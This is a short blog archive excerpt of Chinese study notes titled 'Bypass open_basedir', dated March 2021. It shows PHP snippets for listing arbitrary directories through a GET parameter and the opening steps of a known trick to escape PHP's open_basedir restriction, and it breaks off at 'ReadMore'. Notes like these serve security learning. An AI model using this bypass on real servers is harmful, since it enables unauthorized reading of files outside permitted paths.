Archive for: 3月 2021

Bypass open_basedir

date 08 3月 2021 | category 学习笔记

列目录 test.php?c=/tmp/ <?php $c = $_GET['c']; $a = new DirectoryIterator($c); foreach($a as $f){ echo($f->__toString().'<br>'); } ?> 读文件 <?php mkdir('minx'); chdir('minx'); ini_set('open_basedir','..'); chdir('..');chdir('..');chdir('..');chdir('..'); ReadMore